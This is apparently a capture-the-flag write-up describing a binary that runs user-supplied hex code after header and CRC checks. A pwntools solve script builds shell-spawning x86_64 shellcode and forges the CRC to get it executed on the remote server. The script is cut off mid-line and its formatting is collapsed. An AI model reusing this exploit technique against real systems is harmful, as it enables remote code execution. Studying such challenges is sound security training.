Binary accepts (via `stdin`) hexadecimal representation of the user "program" to be executed. Program contains the expected header, CRC of payload and payload itself. If header check or CRC check fails, program won't be executed. Flag was located in the root directory (`/flag.txt`) at the remote server.
-----
`solve.py`:
```#!/usr/bin/env python2
import struct
try:    from pwn import *except ImportError:    exit("[x] sudo pip install pwn")
context.arch = "x86_64"
header = "NIIv0.1:AmnlXing"payload = asm(shellcraft.sh())
v0 = 0for char in payload:    v7 = ord(char)    for v9 in xrange(7, -1, -1):        if v0 >= 0x80000000:            v10 = 0x80000011        else:            v10 = 0        v12 = 2 * v0        v12 = (v12 & 0xffffff00) | (((v7 >> v9) & 1 ^ v12) & 0xff);        v0 = v10 ^ v12
crc = struct.pack("